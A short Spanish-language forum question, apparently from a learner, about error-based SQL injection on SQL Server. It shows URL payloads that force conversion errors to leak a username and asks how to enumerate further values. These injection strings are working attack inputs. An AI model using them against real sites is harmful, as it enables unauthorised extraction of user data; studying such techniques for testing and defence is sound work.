Estaba leyendo sobre inyección SQL en SQL Server y vi una técnica que me permite mostrar cualquier información de la base de datos a través de errores.
Supongamos que este es el sitio vulnerable:
example.com/showproducts.aspx?category=bikes
Pongo esta declaración SQL como valor de parámetro:
example.com/showproducts.aspx?category=bikes AND 1=0/username
Mostrará un error que revela un valor de la columna username
:
La conversión falló al convertir el valor
varchar
'admin' al tipo de datosint
.
Cuando intento obtener otro nombre de usuario, excluyo el primer valor "admin" como este:
example.com/showproducts.aspx?category=bikes AND username not in ('admin') AND 1=0/usernaame;
Pero, ¿por qué sigue obteniendo el primer valor "admin"? ¿Y cómo puedo obtener el siguiente valor con esta técnica?